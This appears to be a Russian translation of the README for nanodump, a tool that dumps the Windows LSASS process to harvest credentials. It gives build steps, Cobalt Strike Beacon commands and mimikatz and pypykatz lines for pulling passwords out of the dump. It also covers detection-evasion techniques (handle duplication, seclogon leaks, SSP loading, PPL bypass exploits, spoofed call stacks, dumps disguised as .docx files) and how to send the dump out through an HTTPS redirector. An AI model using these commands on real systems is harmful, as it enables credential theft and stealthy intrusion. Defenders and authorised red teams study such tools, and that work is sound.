
Швейцарский нож для дампа LSASS
Гибкий инструмент, создающий минидамп процесса LSASS.

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
--write DUMP_PATH, -w DUMP_PATH
filename of the dump
--valid, -v
create a dump with a valid signature
Obtain an LSASS handle via:
--duplicate, -d
duplicate a high privileged existing LSASS handle
--duplicate-elevate, -de
duplicate a low privileged existing LSASS handle and then elevate it
--seclogon-leak-local, -sll
leak an LSASS handle into nanodump via seclogon
--seclogon-leak-remote BIN_PATH, -slt BIN_PATH
leak an LSASS handle into another process via seclogon and duplicate it
--seclogon-duplicate, -sd
make seclogon open a handle to LSASS and duplicate it
--spoof-callstack, -sc
open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
--silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
force WerFault.exe to dump LSASS via SilentProcessExit
--shtinkering, -sk
force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
--fork, -f
fork the target process before dumping
--snapshot, -s
snapshot the target process before dumping
Avoid opening a handle with high privileges:
--elevate-handle, -eh
open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
--getpid
print the PID of LSASS and leave
--chunk-size
chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
--help, -h
print this help message and leave
git clone https://github.com/fortra/nanodump.git
В Linux с MinGW
make -f Makefile.mingw
В Windows с MSVC (без поддержки BOF)
nmake -f Makefile.msvc
Импортируйте сценарий NanoDump.cna в Cobalt Strike.
Запустите команду nanodump в консоли Beacon или бинарный файл nanodump.x64.exe.
Если вы не указали флаг --valid, вам необходимо восстановить недействительную подпись
scripts/restore_signature <dumpfile>
mimikatz:
Чтобы получить секреты, просто запустите:
mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit
pypykatz:
Если вы предпочитаете оставаться в Linux, вы можете использовать порт mimikatz на Python3 под названием pypykatz:
python3 -m pypykatz lsa minidump <dumpfie>
Чтобы избежать открытия дескриптора LSASS с доступом PROCESS_VM_READ, вы можете использовать параметр --fork.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать 'клон' процесса. Затем этот новый процесс будет дампнут. Хотя это приведет к созданию и удалению процесса, это устраняет необходимость прямого чтения LSASS.
Аналогично опции --fork, вы можете использовать --snapshot для создания снимка процесса LSASS.
Это заставит nanodump создать дескриптор LSASS с доступом PROCESS_CREATE_PROCESS, а затем создать снимок процесса с помощью PssNtCaptureSnapshot. Затем этот новый процесс будет дампнут. Снимок будет освобожден автоматически по завершении.
Поскольку открытие дескриптора LSASS может быть обнаружено, nanodump может вместо этого искать существующие дескрипторы LSASS.
Если такой найден, он будет скопирован и использован для создания минидампа.
Обратите внимание, что наличие такого дескриптора не гарантируется.
Вы можете получить дескриптор LSASS с доступом PROCESS_QUERY_LIMITED_INFORMATION, который, вероятно, находится в белом списке, а затем повысить привилегии этого дескриптора путем его дублирования.
Чтобы избежать открытия дескриптора LSASS, вы можете злоупотребить службой seclogon, вызвав CreateProcessWithLogonW для утечки дескриптора LSASS в бинарный файл nanodump.
Для включения этой функции используйте параметр --seclogon-leak-local.
Учтите, что при использовании из Cobalt Strike на диск должен быть записан неподписанный бинарный файл nanodump.
Этот метод очень похож на предыдущий, но вместо утечки дескриптора в nanodump он утекает в другой бинарный файл, а затем дублируется для использования nanodump.
Используйте флаг --seclogon-leak-remote для доступа к этой функции.
Вы можете обмануть процесс seclogon, заставив его открыть дескриптор LSASS и продублировать его до закрытия, выиграв состояние гонки с помощью файловых блокировок.
Используйте флаг --seclogon-duplicate для доступа к этой функции.
Вы можете загрузить nanodump как SSP в LSASS, чтобы избежать открытия дескриптора.
Когда DLL загружена в LSASS, параметры передаются через именованный канал, и после завершения дампа DllMain вернет FALSE, чтобы выгрузить DLL nanodump из LSASS.
Вы можете жестко закодировать параметры в DLL и полностью отказаться от использования именованного канала с помощью флага компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.
По умолчанию неподписанная DLL nanodump будет загружена в папку Temp и автоматически удалена.
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp
Если вы хотите загрузить уже существующую DLL, выполните:
beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll
Обратите внимание, что эта уязвимость исправлена в пакете обновления за июль 2022 года (Windows 10 21H2 Build 19044.1826)
Для доступа к этой функции используйте команду nanodump_ppl_dump
beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp
Для доступа к этой функции используйте команду nanodump_ppl_medic
beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp
Поскольку дамп создается не nanodump, он всегда будет иметь действительную подпись.
Чтобы использовать метод Silent Process Exit, укажите параметр --silent-process-exit и путь, куда должен быть создан дамп.
beacon> nanodump --silent-process-exit C:\Windows\Temp\
Также будет создан дамп процесса nanodump, примерно так:
PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'
Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/23/2022 7:40 AM 58830409 lsass.exe-(PID-648).dmp
-a---- 6/23/2022 7:40 AM 7862825 nanodump.x64.exe-(PID-3224).dmp
Вы также можете использовать метод Shtinkering, который требует запуска nanodump от имени SYSTEM:
beacon> nanodump --shtinkering
Дамп обычно создается в C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps.
Вы можете открыть дескриптор LSASS с поддельным стеком вызовов, чтобы вызов функции выглядел более легитимно (особенно при запуске как BOF).
Для доступа к этой функции используйте параметр --spoof-callstack.
Вы можете комбинировать многие методы, чтобы настроить работу nanodump.
В следующей таблице указано, какие флаги можно использовать вместе.
Чтение LSASS косвенно путем создания форка и запись дампа на диск с недействительной подписью:
beacon> nanodump --fork --write C:\lsass.dmp
Используйте seclogon leak remote для утечки дескриптора LSASS в процесс notepad, продублируйте этот дескриптор для доступа к LSASS, затем прочитайте его косвенно, создав форк, и загрузите дамп с действительной подписью:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Получите дескриптор с помощью seclogon leak local, прочитайте LSASS косвенно через форк и запишите дамп на диск с действительной подписью (будет загружен бинарный файл nanodump!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
Загрузите дамп с недействительной подписью (по умолчанию):
beacon> nanodump
Продублируйте существующий дескриптор и запишите дамп на диск с недействительной подписью:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
Получите PID LSASS:
beacon> nanodump --getpid
Загрузите nanodump в LSASS как SSP (будет загружен бинарный файл nanodump!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
Сделайте дамп LSASS в обход PPL с помощью эксплойта PPLDump, дублируя дескриптор, который csrss.exe имеет на LSASS:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
Сделайте дамп LSASS в обход PPL с помощью эксплойта PPLMedic, открыв низкопривилегированный дескриптор LSASS и затем повысив его привилегии:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Обманите seclogon, заставив его открыть дескриптор LSASS и продублировать его, затем загрузите дамп с недействительной подписью:
beacon> nanodump --seclogon-duplicate
Заставьте процесс WerFault.exe создать полный дамп памяти в папке Temp:
beacon> nanodump --werfault C:\Windows\Temp\
Откройте дескриптор LSASS с поддельным стеком вызовов и загрузите минидамп с недействительной подписью:
beacon> nanodump --spoof-callstack
Используйте метод Shtinkering:
beacon> nanodump --shtinkering
Получите дескриптор с помощью seclogon leak local и создайте дамп, используя метод Shtinkering:
beacon> nanodump --seclogon-leak-local --shtinkering
Получите дескриптор с низкими привилегиями и повысьте его с помощью elevate handle:
beacon> nanodump --elevate-handle
Получите дескриптор с низкими привилегиями, используя поддельный стек вызовов, и повысьте его с помощью elevate handle:
beacon> nanodump --elevate-handle --spoof-callstack
Продублируйте существующий низкопривилегированный дескриптор и повысьте его с помощью elevate handle:
beacon> nanodump --duplicate-elevate
Если вы используете HTTPS-редиректор (как и следует), вы можете столкнуться с проблемами при загрузке дампа без использования файлов из-за размера запросов, которые передают дамп.
Увеличьте максимальный размер запросов на вашем веб-сервере, чтобы дать nanodump возможность загрузить дамп.
location ~ ^...$ {
...
client_max_body_size 50M;
}
<Directory "...">
LimitRequestBody 52428800
</Directory>
| --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC |
|---|
| --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||
| --duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --elevate-handle | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --duplicate-elevate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-local | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-leak-remote | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --seclogon-duplicate | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||||
| --spoof-callstack | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | |||||||||
| --silent-process-exit | ✓ | |||||||||||||||
| --shtinkering | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||||
| --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ||||||
| SSP | ✓ | |||||||||||||||
| PPL_DUMP | ✓ | ✓ | ✓ | ✓ | ||||||||||||
| PPL_MEDIC | ✓ | ✓ | ✓ | ✓ |